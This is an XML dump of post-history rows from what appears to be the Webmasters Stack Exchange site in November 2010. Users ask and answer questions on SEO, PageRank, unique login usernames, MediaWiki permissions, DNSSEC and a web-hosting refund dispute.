  <row Id="9922" PostHistoryTypeId="2" PostId="5007" RevisionGUID="4ba3e4c2-85c7-4b01-8cde-f0f0794e6273" CreationDate="2010-11-04T13:40:20.367" UserId="721" Text="Lets say my website looks like this:&#xD;&#xA;&#xD;&#xA;News   &#xD;&#xA;-Hello world  &#xD;&#xA;-Foo  &#xD;&#xA;-Bar&#xD;&#xA;&#xD;&#xA;So the parent page will list the last 3 news messages. For each news message there is a sub-page. For the parent page I was thinking of setting the page title to: News - Hello world, Foo, Bar.&#xD;&#xA;&#xD;&#xA;Now if somebody adds a new message the title tag will also change. I googled this and read a few blog posts where people said that changing the title actually hurts the ranking of that page.&#xD;&#xA;&#xD;&#xA;So is this true? Should I just set a static title tag for all my pages?" />
  <row Id="9923" PostHistoryTypeId="1" PostId="5007" RevisionGUID="4ba3e4c2-85c7-4b01-8cde-f0f0794e6273" CreationDate="2010-11-04T13:40:20.367" UserId="721" Text="Seo: Change the title of a page" />
  <row Id="9924" PostHistoryTypeId="3" PostId="5007" RevisionGUID="4ba3e4c2-85c7-4b01-8cde-f0f0794e6273" CreationDate="2010-11-04T13:40:20.367" UserId="721" Text="&lt;seo&gt;" />
  <row Id="9925" PostHistoryTypeId="2" PostId="5008" RevisionGUID="dbeee1d6-f57d-4c3e-b8ac-6537674f3aaa" CreationDate="2010-11-04T13:58:52.677" UserId="1253" Text="The `&lt;title&gt;` of a page is one of the most influential factors in a page's ranking. Changing that will definitely have an affect on a page's ranking. Whether that is good or bad depends on which way the rankings move: up or down.&#xD;&#xA;&#xD;&#xA;Ideally a page's `&lt;title&gt;` will rarely, if ever, change. A page with constantly changing messages should probably have a title that summarizes what the purpose of the page is for (listing messages) rather then the latest message posted. If you want to rank well for each message then have each message title link to a page that displays that message and has the `&lt;title&gt;` of the page be the message title." />
  <row Id="9926" PostHistoryTypeId="2" PostId="5009" RevisionGUID="2cc968ed-70c8-424c-9df5-3a8acc1a2ffe" CreationDate="2010-11-04T14:00:10.537" UserId="233" Text="Trailing slashes on the domain name **are** treated exactly the same as no trailing slash, i.e. `http://www.domain.com` = `http://www.domain.com/`.&#xD;&#xA;&#xD;&#xA;But that's the only exception. Any other time the URL differs, it can return completely different content and thus is treated as a different URL.&#xD;&#xA;&#xD;&#xA;Any file returned (with an extension like `.htm` or `.php`) should not have a trailing slash. You will find on the Apache server that trailing slashes are usually ignored and the file is returned. This is just how Apache works; the URL `example.com/file.php/abc/xyz` will go back to `file.php`, assuming there is no actual file or folder structure like the above.&#xD;&#xA;&#xD;&#xA;Directories generally have trailing slashes - again, Apache will automatically 301 redirect to them. For example if you have a folder `hello` then `example.com/hello` should redirect to `example.com/hello/`." />
  <row Id="9933" PostHistoryTypeId="2" PostId="5012" RevisionGUID="dc2d9181-7f48-4abf-8824-5de9c21fd019" CreationDate="2010-11-04T14:03:23.747" UserId="2115" Text="OK so as far as I know to have good PR your website must have&#xD;&#xA;&#xD;&#xA;1. Good content/articles&#xD;&#xA;2. Many back-links&#xD;&#xA;3. Good HTML code.&#xD;&#xA;&#xD;&#xA;What else?&#xD;&#xA;&#xD;&#xA;What should one do to increase his/her website's Google Page-Rank?&#xD;&#xA;" />
  <row Id="9934" PostHistoryTypeId="1" PostId="5012" RevisionGUID="dc2d9181-7f48-4abf-8824-5de9c21fd019" CreationDate="2010-11-04T14:03:23.747" UserId="2115" Text="How to increase Google page rank of your website/blog?" />
  <row Id="9935" PostHistoryTypeId="3" PostId="5012" RevisionGUID="dc2d9181-7f48-4abf-8824-5de9c21fd019" CreationDate="2010-11-04T14:03:23.747" UserId="2115" Text="&lt;seo&gt;" />
  <row Id="9936" PostHistoryTypeId="2" PostId="5013" RevisionGUID="23083e65-5043-42e4-83ad-f836946f2e17" CreationDate="2010-11-04T14:06:19.783" UserId="2044" Text="In terms of learning seo i found something link:http://www.sunshinetrekking.com i.e link:websitename. I couldnot what it is searching google. What does it means? Dis it important for pagerank?" />
  <row Id="9937" PostHistoryTypeId="1" PostId="5013" RevisionGUID="23083e65-5043-42e4-83ad-f836946f2e17" CreationDate="2010-11-04T14:06:19.783" UserId="2044" Text="What does link:http://www.sunshinetrekking.com means in google?" />
  <row Id="9938" PostHistoryTypeId="3" PostId="5013" RevisionGUID="23083e65-5043-42e4-83ad-f836946f2e17" CreationDate="2010-11-04T14:06:19.783" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="9939" PostHistoryTypeId="2" PostId="5014" RevisionGUID="40d3f60b-7aab-46d6-b211-a3107ef50cea" CreationDate="2010-11-04T14:11:43.397" UserDisplayName="Timo Willemsen" Text="You're looking for webpages that link to the `websitename` for example if you do:&#xD;&#xA;&#xD;&#xA;link:http://stackexchange.com&#xD;&#xA;&#xD;&#xA;You're going to find all the indexed pages that have a link to StackExchange. " />
  <row Id="9940" PostHistoryTypeId="2" PostId="5015" RevisionGUID="9c21edf1-9812-4737-b91d-965a9520df1e" CreationDate="2010-11-04T14:12:14.723" UserId="1253" Text="It shows some of the pages are linking to that page. It doesn't affect that page in any at all. It's just a report you can run through Google search. Keep in mind it doesn't show all of the links. Only the ones Google wants to report. &#xD;&#xA;&#xD;&#xA;To see all incoming links to a site you would need to use Google Webmaster Tools (and have control of that website)." />
  <row Id="9941" PostHistoryTypeId="2" PostId="5016" RevisionGUID="90f02f06-b37e-43c6-a847-fe941f4338bc" CreationDate="2010-11-04T14:14:54.783" UserId="1253" Text="To increase PR (e.g. PageRank) you need to get more links to your site. The higher the PR of the page linking to you the more *potential* PR you may receive. I say potential because the amount of PR &quot;passed&quot; from the linking page to your page is affected by how many other links are on that page. The more links on that page, the more the PR is distributed amongst those links and thus less is passed to your page. PR can also not be passed by pages that use &quot;nofollow&quot; on their links.&#xD;&#xA;&#xD;&#xA;FYI, point #1 has no direct affect on PR and #3 has no effect at all. #1 has an indirect affect as it encourages people to link to your site. But good content itself does not affect PR as PR is only affected by links.&#xD;&#xA;&#xD;&#xA;If you want to increase your page's ranking, different from PageRank, see [this answer][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4666/how-to-get-my-page-onto-googles-yahoos-and-other-search-engines-first-page/4670#4670" />
  <row Id="9942" PostHistoryTypeId="5" PostId="5016" RevisionGUID="ccb7ed20-769d-4caf-ba6f-10273c69395b" CreationDate="2010-11-04T14:21:20.083" UserId="1253" Comment="added 220 characters in body; added 159 characters in body" Text="To increase PR (e.g. PageRank) you need to get more links to your site. The higher the PR of the page linking to you the more *potential* PR you may receive. I say potential because the amount of PR &quot;passed&quot; from the linking page to your page is affected by how many other links are on that page. The more links on that page, the more the PR is distributed amongst those links and thus less is passed to your page. PR can also not be passed by pages that use &quot;nofollow&quot; on their links.&#xD;&#xA;&#xD;&#xA;FYI, point #1 has no direct affect on PR and #3 has no effect at all. #1 has an indirect affect as it encourages people to link to your site. But good content itself does not affect PR as PR is only affected by links.&#xD;&#xA;&#xD;&#xA;If you want to increase your page's ranking, different from PageRank, see [this answer][1]. (I'll also explicitly say go and get links to your pages as, even though that is common sense marketing, because it can have a significant effect on rankings, it is commonly recommended by others as &quot;the thing to do&quot;. Expect to see lots of people saying that both here and everywhere you ask this question. Just keep in mind that quality links are what you want. Not quantity).&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4666/how-to-get-my-page-onto-googles-yahoos-and-other-search-engines-first-page/4670#4670" />
  <row Id="9944" PostHistoryTypeId="2" PostId="5017" RevisionGUID="39c39ead-54c1-4ede-b5ea-3e082e745eae" CreationDate="2010-11-04T15:10:49.313" UserId="2898" Text="John and Timo are correct. You're looking at the Google link operator that reports sites that link to the website you're querying. &#xD;&#xA;&#xD;&#xA;The results for the Google link operator aren't as accurate as those in Google Webmaster Tools. Even there, you may not get a full picture. &#xD;&#xA;&#xD;&#xA;I suggest you triangulate using Yahoo! Site Explorer ([http://siteexplorer.search.yahoo.com/][1]) and SEOmoz's Open Site Explorer ([http://www.opensiteexplorer.org/][2]).&#xD;&#xA;&#xD;&#xA;The number and quality of links to your site is quite important to SEO. The actual query here isn't going to have an impact, however it can be **very** useful for identifying link targets, as are a number of other Google operators like inurl and intitle.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siteexplorer.search.yahoo.com/&#xD;&#xA;  [2]: http://www.opensiteexplorer.org/" />
  <row Id="9945" PostHistoryTypeId="2" PostId="5018" RevisionGUID="72835627-2bd6-438c-8014-db27c2fcf3d1" CreationDate="2010-11-04T15:11:11.697" UserId="2044" Text="I am trying increase page rank of my website. I came across http://www.opensiteexplorer.org. It generated the stats of my website. There are alot of things.&#xD;&#xA;&#xD;&#xA;I would like to start from some basics. So first&#xD;&#xA;&#xD;&#xA;What is page Authority? I find my page authority as low as 26 compared to others 40. How can i increase it?" />
  <row Id="9946" PostHistoryTypeId="1" PostId="5018" RevisionGUID="72835627-2bd6-438c-8014-db27c2fcf3d1" CreationDate="2010-11-04T15:11:11.697" UserId="2044" Text="What is Page authority in http://www.opensiteexplorer.org" />
  <row Id="9947" PostHistoryTypeId="3" PostId="5018" RevisionGUID="72835627-2bd6-438c-8014-db27c2fcf3d1" CreationDate="2010-11-04T15:11:11.697" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="9948" PostHistoryTypeId="2" PostId="5019" RevisionGUID="9024598b-77d8-41b4-8ae7-9f505b9dd5cb" CreationDate="2010-11-04T15:42:10.600" UserId="302" Text="Assuming a non-commercial site where users login with a user name and pw, do I need to enforce unicity of usernames?&#xD;&#xA;&#xD;&#xA;Note: The db will use a separate unique index to identify the users.&#xD;&#xA;&#xD;&#xA;The site is one where user can upload and share content, and have the possibility of doing that anonymously or not.  However it is not primarily a social site.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;JDelage" />
  <row Id="9949" PostHistoryTypeId="1" PostId="5019" RevisionGUID="9024598b-77d8-41b4-8ae7-9f505b9dd5cb" CreationDate="2010-11-04T15:42:10.600" UserId="302" Text="Do user names used for login need to be unique?" />
  <row Id="9950" PostHistoryTypeId="3" PostId="5019" RevisionGUID="9024598b-77d8-41b4-8ae7-9f505b9dd5cb" CreationDate="2010-11-04T15:42:10.600" UserId="302" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;performance&gt;&lt;usability&gt;" />
  <row Id="9951" PostHistoryTypeId="2" PostId="5020" RevisionGUID="15c7f290-50d3-472b-b275-434af723f32d" CreationDate="2010-11-04T15:45:12.187" UserId="1064" Text="Microsoft has provided a means for automatically passing authentication info if you're hosting with IIS - the [LDAP automatically login thread at Drupal.org][1] may be of interest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/node/580718#comment-2611046" />
  <row Id="9952" PostHistoryTypeId="2" PostId="5021" RevisionGUID="125fc964-d800-4ba0-be6a-ed2d376551f4" CreationDate="2010-11-04T15:46:45.537" UserId="1064" Text="**Do they *have* to be unique?**&#xD;&#xA;&#xD;&#xA;No.&#xD;&#xA;&#xD;&#xA;***Should* they be unique?**&#xD;&#xA;&#xD;&#xA;Depends upon what you think should happen when two users with the same username and password both try logging in at the same time." />
  <row Id="9953" PostHistoryTypeId="2" PostId="5022" RevisionGUID="3609f632-19f5-43c8-a666-70b8763e753f" CreationDate="2010-11-04T15:49:32.940" UserId="2209" Text="It would save a lot of trouble down the road it the user names are unique from the get-go." />
  <row Id="9954" PostHistoryTypeId="2" PostId="5023" RevisionGUID="a87d6884-c09b-4c65-af01-0ba3a4e33904" CreationDate="2010-11-04T15:49:36.870" UserId="1253" Text="It doesn't *have* to be unique. But if it's not it makes your life more difficult. Having a unique username means there is only one possible password for that username. If it's wrong, you don't have to go looking for another user with the same username to compare it to. It's gets really complicated when someone requests a missing password. How do you know who it is for? Email address? What if they don't use it anymore? Or forgot which one they used? &#xD;&#xA;&#xD;&#xA;Recommendation: have unique logins. It's the best way to identify individuals. " />
  <row Id="9955" PostHistoryTypeId="2" PostId="5024" RevisionGUID="a8f86b82-cc8b-4c43-8e63-3c3a768ec146" CreationDate="2010-11-04T15:58:16.960" UserId="2924" Text="A good way is to do this is have users login with email addresses and add a database field &quot;nickname&quot;, which you you set like &quot;user3452&quot; when the user registers and the user can change it to anything they want. But he still has to login with his email.&#xD;&#xA;&#xD;&#xA;More users with the same username is a way to hell." />
  <row Id="9956" PostHistoryTypeId="2" PostId="5025" RevisionGUID="14215813-6d0c-42e4-8707-e90ef8db98da" CreationDate="2010-11-04T16:00:21.680" UserId="2209" Text="Page Authority is SEOmoz version of Google PageRank. The way it will increase is determined by the quantity of your incoming links." />
  <row Id="9957" PostHistoryTypeId="2" PostId="5026" RevisionGUID="be7aea9e-7bb1-41e5-92b1-7fd533f49445" CreationDate="2010-11-04T16:04:26.687" UserId="233" Text="Open Site Explorer is an independent tool from SEOmoz, so take any data with a pinch of salt. OSE can be a good guide to compare sites but it's far from an authoritative source; search engine rankings will not always correlate to values from OSE.&#xD;&#xA;&#xD;&#xA;Page Authority is simply their guess at how important a webpage is. It's generally based on links pointing to the page in a similar vein to PageRank." />
  <row Id="9958" PostHistoryTypeId="4" PostId="5018" RevisionGUID="16c60bfb-19c3-41cc-bd46-e00cd63bcfbf" CreationDate="2010-11-04T16:08:07.633" UserId="233" Comment="more readable title" Text="What is Page authority in OpenSiteExplorer.org?" />
  <row Id="9959" PostHistoryTypeId="2" PostId="5027" RevisionGUID="6cd3af56-a161-4d5f-9b91-f74c5b8ad648" CreationDate="2010-11-04T16:14:44.727" UserId="233" Text="You *always* need a unique identifier for user logins. Usually this is the username but you could, for example, use the email address or your &quot;separate unique index&quot;. I wouldn't recommend using the latter in the login form, it makes logging in more difficult.&#xD;&#xA;&#xD;&#xA;You cannot force two users with the same username to use different passwords. This is *very insecure* because if I am refused registration with a particular combination, I now have the login credentials for another user." />
  <row Id="9960" PostHistoryTypeId="2" PostId="5028" RevisionGUID="eceba389-c692-4f29-a9da-d0785ca183f4" CreationDate="2010-11-04T16:21:49.823" UserId="233" Text="To improve the value of Google's proprietary PageRank&lt;sup&gt;TM&lt;/sup&gt;, you just need links. It's solely based on the number and quality of links pointing to the specific page.&#xD;&#xA;&#xD;&#xA;To improve the ranking in search engine results pages (SERPs) there are hundreds of ranking factors, including the PageRank, relevance of the page, relevance of pages linking to you, good titles/headings, and a small factor is page speed.&#xD;&#xA;&#xD;&#xA;Good HTML code doesn't really make a difference, aside from the case where the HTML is *so bad* that a search engine cannot read the page." />
  <row Id="9961" PostHistoryTypeId="5" PostId="4970" RevisionGUID="20bbe60e-1e26-44ce-b336-4c3f4b3c2ed4" CreationDate="2010-11-04T16:30:42.967" UserId="233" Comment="cleaned up post, removed excessive list" Text="What am I doing wrong ? Google adsense application got rejected 3 times, reason &quot;Page type&quot;.&#xD;&#xA;&#xD;&#xA;I am running blog http://photoforu.blogspot.com/ from sometime, but able to approve the adsense account for it, the issue they say is&#xD;&#xA;&#xD;&#xA;Issues:  &#xD;&#xA;- Page type&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;Further detail:&#xD;&#xA;&#xD;&#xA;Page type: Your website is a type of website that we do not currently&#xD;&#xA;accept into our program. Such websites include, but are not limited to,&#xD;&#xA;chat sites, sites that drive traffic through cybersquatting, and sites&#xD;&#xA;that use excessive keywords in the content or code of their pages.&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;I don't understand whats wrong with the content,&#xD;&#xA;Google webmaster tools don't show any error.. and there are only 82 keywords yet.&#xD;&#xA;&#xD;&#xA;What am I doing wrong ?&#xD;&#xA;&#xD;&#xA;List of keywords: (for reference only)&#xD;&#xA;&#xD;&#xA;1. image (3 variants)&#xD;&#xA;2. love (4 variants)&#xD;&#xA;3. post (2 variants)&#xD;&#xA;4. blog (3 variants)&#xD;&#xA;5. baby (2 variants)&#xD;&#xA;6. photoforu &#xD;&#xA;7. girls &#xD;&#xA;8. new (2 variants)&#xD;&#xA;9. blogspot &#xD;&#xA;10. fashion &#xD;&#xA;11. car (2 variants)&#xD;&#xA;12. cute &#xD;&#xA;13. photo (2 variants)&#xD;&#xA;14. funny &#xD;&#xA;15. google &#xD;&#xA;16. share &#xD;&#xA;17. india (2 variants)&#xD;&#xA;18. beauty &#xD;&#xA;19. photograph (2 variants)&#xD;&#xA;20. beautiful &#xD;&#xA;&#xD;&#xA;...loads more" />
  <row Id="9962" PostHistoryTypeId="5" PostId="2523" RevisionGUID="0d574b90-15f9-4de6-afa8-5f7db2acc7c5" CreationDate="2010-11-04T16:44:39.960" UserId="1064" Comment="... and fixed spacing on code samples" Text="I've used MediaWiki as a CMS on quite a few occasions, though my goal has been to publish (i.e. allow anyone else to view and only editors access to write) content but restrict edit access.&#xD;&#xA;&#xD;&#xA;To lock down write privileges:&#xD;&#xA;&#xD;&#xA;    $wgGroupPermissions['*']['createaccount'] = false;&#xD;&#xA;    $wgGroupPermissions['*']['edit'] = false;&#xD;&#xA;    $wgGroupPermissions['*']['editpage'] = false;&#xD;&#xA;    $wgGroupPermissions['*']['edittalk'] = false;&#xD;&#xA;    $wgGroupPermissions['*']['createpage'] = false;&#xD;&#xA;    $wgGroupPermissions['*']['createtalk'] = false;&#xD;&#xA;    &#xD;&#xA;    $wgGroupPermissions['sysops']['createaccount'] = true;&#xD;&#xA;    $wgGroupPermissions['sysops']['edit'] = true;&#xD;&#xA;    $wgGroupPermissions['sysops']['editpage'] = true;&#xD;&#xA;    $wgGroupPermissions['sysops']['edittalk'] = true;&#xD;&#xA;    $wgGroupPermissions['sysops']['createpage'] = true;&#xD;&#xA;    $wgGroupPermissions['sysops']['createtalk'] = true;&#xD;&#xA;&#xD;&#xA;... and allow use of raw HTML (highly desirable if you're using MW to publish):&#xD;&#xA;&#xD;&#xA;    $wgRawHtml = true;&#xD;&#xA;&#xD;&#xA;Using basic user authentication supported by your webserver sounds like a reasonable way to prevent unauthorized parties from reading the content of your wiki, though there is probably no need to prevent people who are already authenticated from writing on your wiki (unless you have three tiers of privilege - i.e. no-read,no-write/read,no-write/read,write).&#xD;&#xA;&#xD;&#xA;Edit: For long-term use (and if you need to support a growing number of users' privileges) I think you'd be best-served to find a plugin which supports exactly what you're trying to do and/or customize your MW installation to handle user authentication for reading in addition to write access.&#xD;&#xA;&#xD;&#xA;Note that many of the existing MW plugins intended to prevent read access on specific pages have been plagued with &quot;bugs&quot; (i.e. a user could use the MW Export functionality to see the content of the page) because MW itself was never intended to include the feature in question - if you're hosting stuff no one else should see, you'll likely need to lock a lot of things down.&#xD;&#xA;&#xD;&#xA;One site you might be interested in would be [mwusers.com][1] - plenty of relevant discussion (including experience w/various strategies and plugins) there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Can you elaborate on the permissions that MW has built in?&#xD;&#xA;&#xD;&#xA;Bureaucrats (can promote user to sysop) &gt; Sysops (can protect and import pages, can ban users) &gt; Users (can read, write, and edit on default installation)&#xD;&#xA;&#xD;&#xA;Check out the [Help:Sysops and permissions][2] page at MediaWiki.org for further details on the default functionality and [Manual:User rights][3] for built-in MW configuration options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mwusers.com/forums/content.php&#xD;&#xA;  [2]: http://www.mediawiki.org/wiki/Help:Sysops_and_permissions&#xD;&#xA;  [3]: http://www.mediawiki.org/wiki/Manual:User_rights" />
  <row Id="9963" PostHistoryTypeId="5" PostId="5006" RevisionGUID="b759bc9f-1133-4716-b8f3-797f65ee2855" CreationDate="2010-11-04T16:45:41.643" UserId="2333" Comment="added 148 characters in body; added 39 characters in body" Text="I've got [Drupal 6][1] setup within a XAMPP test area. I have LDAP authentication, groups and data working against Active Directory.&#xD;&#xA;&#xD;&#xA;What I want... is since I'm on an intranet where users are logged in via user-names... is for automatic authentication, without the need to login via the website.&#xD;&#xA;&#xD;&#xA;If it's more difficult than its worth, it's no major hassle, but I'd like to know if it's possible that when my users visit our intranet they auto-magically authenticate with their already logged in Windows session.&#xD;&#xA;&#xD;&#xA;Ultimately, I may switch to IIS, but I do like having a portable, easy to backup/copy/test setup so for now I'm going to see if I can get this working in XAMPP.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4583/building-an-intranet" />
  <row Id="9964" PostHistoryTypeId="2" PostId="5029" RevisionGUID="c4f94415-a1e1-4b4a-b2ea-cc8e83f3c0ab" CreationDate="2010-11-04T16:47:43.030" UserId="2044" Text="I would like to know if no. of internal links in a page affects its page rank or not?&#xD;&#xA;&#xD;&#xA;lets say:&#xD;&#xA;a page contains 50 internal links is better than 5 pages interlinked with each other having 10 internal links each is better?" />
  <row Id="9965" PostHistoryTypeId="1" PostId="5029" RevisionGUID="c4f94415-a1e1-4b4a-b2ea-cc8e83f3c0ab" CreationDate="2010-11-04T16:47:43.030" UserId="2044" Text="Page with 50 internal page links or 5 pages with 10 internal links each?" />
  <row Id="9966" PostHistoryTypeId="3" PostId="5029" RevisionGUID="c4f94415-a1e1-4b4a-b2ea-cc8e83f3c0ab" CreationDate="2010-11-04T16:47:43.030" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;" />
  <row Id="9967" PostHistoryTypeId="5" PostId="5026" RevisionGUID="1b9cb2b5-6de9-4d9a-aff3-bd7e75d26f10" CreationDate="2010-11-04T16:52:00.107" UserId="233" Comment="added 139 characters in body" Text="Open Site Explorer is an independent tool from SEOmoz, so take any data with a pinch of salt. OSE can be a good guide to compare sites but it's far from an authoritative source; search engine rankings will not always correlate to values from OSE.&#xD;&#xA;&#xD;&#xA;Page Authority is simply their guess at how important a webpage is. It's generally based on links pointing to the page in a similar vein to PageRank. There is a [video explaining it here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seomoz.org/blog/whiteboard-friday-domain-authority-page-authority-metrics" />
  <row Id="9968" PostHistoryTypeId="2" PostId="5030" RevisionGUID="4ddf0c53-24c9-459b-8c3b-e80b9f5887c3" CreationDate="2010-11-04T16:55:03.353" UserId="2632" Text="I'm late to the party on this one, but check out &lt;a href=&quot;http://www.howtojoomla.net/how-tos/templates/&quot;&gt;How-To Joomla's&lt;/a&gt; section on templates." />
  <row Id="9969" PostHistoryTypeId="2" PostId="5031" RevisionGUID="253f2ca8-27da-45b8-bd30-c29192f212ad" CreationDate="2010-11-04T16:55:14.273" UserId="706" Text="After some more research I have found an answer.&#xD;&#xA;&#xD;&#xA;DNSSEC protects against [DNS cache poisoning][1]. See [About the Kaminsky bug][2] for more information.&#xD;&#xA;&#xD;&#xA;DNSSEC seems to be an extra service provided by the registrars. At least for .se I haven't found anything about other top domains.&#xD;&#xA;&#xD;&#xA;From [DNSSEC – The path to a secure domain][3]:&#xD;&#xA;&#xD;&#xA;&gt; Today, .SE’s DNSSEC service is an addition offered by many registrars (i.e. resellers of domain names). It is the only way to get a secure domain that cannot be subject to attacks where the answers to DNS queries are falsified. Are you interested in securing your own web and e-mail address, please turn to your registrar for more information. If you are unsure whether or not your domain is using DNSSEC, you can easily find out completely free of charge at http://www.kaminskybug.se/.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DNS_cache_poisoning&#xD;&#xA;  [2]: http://www.kaminskybug.se/&#xD;&#xA;  [3]: http://www.iis.se/en/domaner/dnssec" />
  <row Id="9970" PostHistoryTypeId="2" PostId="5032" RevisionGUID="bbc6449d-3b1d-407e-8b39-7c270edbe0b5" CreationDate="2010-11-04T17:00:37.427" UserId="2632" Text="You don't need to edit actual files at all. Go into your site's administrator interface, then go to Extensions--&gt;Template Manager. Click on the template name, and then the Edit HTML button. It will open the site's main framework, which all other code opens in. Just add the analytics javascript at the very bottom, still inside the body tag." />
  <row Id="9974" PostHistoryTypeId="2" PostId="5034" RevisionGUID="2602dfe0-7e6e-47c6-bd03-9a697b14436a" CreationDate="2010-11-04T17:30:30.090" UserId="2293" Text="I know SEO is a very important subject from business point of view, but usability, accessibility and design also does matter, and a lot, hence this other measures and features regards how your customers/users interact with your site. Do not forget about this.&#xD;&#xA;&#xD;&#xA;Now from SEO point of view, having more than 100 links in one unique page, unless it is a detailed table of contents, starts to be bad.&#xD;&#xA;&#xD;&#xA;Something around 40-75 links per page is the &quot;normal&quot; and &quot;acceptable&quot; from SEO perspective. (check SEOmoz beginners guide for further information)." />
  <row Id="9975" PostHistoryTypeId="2" PostId="5035" RevisionGUID="27e2f372-9906-4533-8e9e-812e8c766fd1" CreationDate="2010-11-04T18:06:43.007" UserId="2044" Text="I would like to know how to write the keywords in head section.&#xD;&#xA;&#xD;&#xA;Either it should be comma separated or white space separated?" />
  <row Id="9976" PostHistoryTypeId="1" PostId="5035" RevisionGUID="27e2f372-9906-4533-8e9e-812e8c766fd1" CreationDate="2010-11-04T18:06:43.007" UserId="2044" Text="How should we write keywords of a webpage" />
  <row Id="9977" PostHistoryTypeId="3" PostId="5035" RevisionGUID="27e2f372-9906-4533-8e9e-812e8c766fd1" CreationDate="2010-11-04T18:06:43.007" UserId="2044" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;keywords&gt;" />
  <row Id="9978" PostHistoryTypeId="2" PostId="5036" RevisionGUID="9ff3ca5b-9990-444e-b9b9-c5a6912df6a0" CreationDate="2010-11-04T18:16:56.197" UserId="2209" Text="Keywords should be comma separated, unless it is a group of words that makeup the keyword (Like FirstName LastName) then use white space." />
  <row Id="9979" PostHistoryTypeId="5" PostId="4961" RevisionGUID="a0d3fcce-3a66-4751-b09f-debe3339775d" CreationDate="2010-11-04T19:33:33.150" UserId="2997" Comment="added 536 characters in body" Text="I'd like to tell You a short story about my experience with Steadfast.net hosting, and maybe ask for advice.&#xD;&#xA;&#xD;&#xA;I've been using Steadfast.net shared hosting since 18th June 2008, never really had a chance to complain. I liked the fact that I knew what I got, I could easily change my plan and the few times I needed customer service it was quick and excellent. Well, up until few days ago.&#xD;&#xA;&#xD;&#xA;Without any prior information and notification, on 28th of October I got a mail informing me, that from now on, shared hosting will be maintained by Fluid Hosting, as they sold their shared hosting operations to them. The exact wording: &#xD;&#xA;&#xD;&#xA;&gt; I’ll get right to the point: Steadfast Networks is selling its entire shared hosting operation to Fluid Hosting effective immediately.  &#xD;&#xA;&gt; *Mail received: 2010-10-28 01:06*&#xD;&#xA;&#xD;&#xA;I didn't like the fact that, without first informing me, a pretty long lasting client in my opinion (well, for me two and almost half of a year is rather long), they do so serious stuff. But ok, that was just another reason for me to finally close my account, since I wasn't using it for some time anyway.  &#xD;&#xA;With that in my mind I proceeded to get my money transfered back to me and then cancel the account. Unfortunately two problems happened.&#xD;&#xA;&#xD;&#xA;The first one, the very light one compared to the other, there is something called Balance on your account on steadfast. I always thought that it shows the current amount of money you have transferred to the account which you can use for anything you want or get it back. But, the thing is, whenever you change hosting plan, the amount is updated... by a wrong amount. Instead of $230 (which is displayed on my Balance) I **SHOULD** be eligible to circa $80. Fine, I can live with that. But I am **not going to see the money**, you see!&#xD;&#xA;&#xD;&#xA;I did some mailing between Fluid Hosting staff and Steadfast billing staff. Apparently, Fluid Hosting can't refund me the money, because they haven't even got it (as I paid it to steadfast, half a year ago), and Steadfast apparently CAN NOT refund me because I am no longer their Customer! This is the exact wording of a message I got from Fluid Hosting CEO:&#xD;&#xA;&gt; Unfortunately at this moment, we will not be able to issue refund. Steadfast has confirmed that they will not do refund and we are not in any position to refund you for the money that we have never received in the first place. However, even though we have never received your payment, we are still committed to provide you the service you already paid for. [...]  &#xD;&#xA;&gt; Unfortunately, however, we will not be able to give any refund.&#xD;&#xA;&#xD;&#xA;I can't really blame Fluid, since I can feel their situation, and it seems as if they did what they could. But I do feel cheated by Steadfast, dang it, it might be just $80, but it is still money rightfully belonging to me.  Damn it, not only I, but now imagine anybody else who decided to withdraw from their hosting because of the owner changing! It's double win for them - money from selling service and money from never-going-to-happen refunds!  &#xD;&#xA;**The point is:** If you were considering getting steadfast as your host, take into account this situation and think twice.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Now the big question I have (aside from my need to tell you this story) is: what the funk am I supposed to do &lt;s&gt;k&lt;/s&gt;now.  &#xD;&#xA;I have 2.2 month of additional free service for being a long standing customer, and due to the situation I was also offered one additional free month from Fluid, but dang, I don't need it. I haven't been using this hosting since August. I can't (and don't want) to take this to court because A) it's ridiculously low amount of money; B) I am from Poland and they are from Chicago;&#xD;&#xA;&#xD;&#xA;I know I can just gulp this money and live on, but... It is irritating!&#xD;&#xA;&#xD;&#xA;I am terribly sorry if this isn't a place where one should inquire about this things, but that's the best I could think of. Thank for your time.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To be fair, I just got my refund actually, it seems that Steadfast decided to provide refunds for a limited time (mayhap too many unsatisfied users?).  &#xD;&#xA;As for the actual question, I thought it was fairly obvious from the words *Now the big question I have is: what the funk am I supposed to do know.* though maybe lack of question mark could've been misleading. *What should I do now, considering the situation?* But since the problem has been fixed, the question is not needed anymore. Thanks anyway, for your time." />
  <row Id="9981" PostHistoryTypeId="2" PostId="5037" RevisionGUID="99bc8aae-e689-4980-9a3f-7754ab9cd631" CreationDate="2010-11-04T19:52:11.340" UserId="2044" Text="i would like to know if we write articles using the fixed keyword instead of using the preposition for it good for SEO keyword density?" />
  <row Id="9982" PostHistoryTypeId="1" PostId="5037" RevisionGUID="99bc8aae-e689-4980-9a3f-7754ab9cd631" CreationDate="2010-11-04T19:52:11.340" UserId="2044" Text="Is Use of keyword instead of preposition good?" />
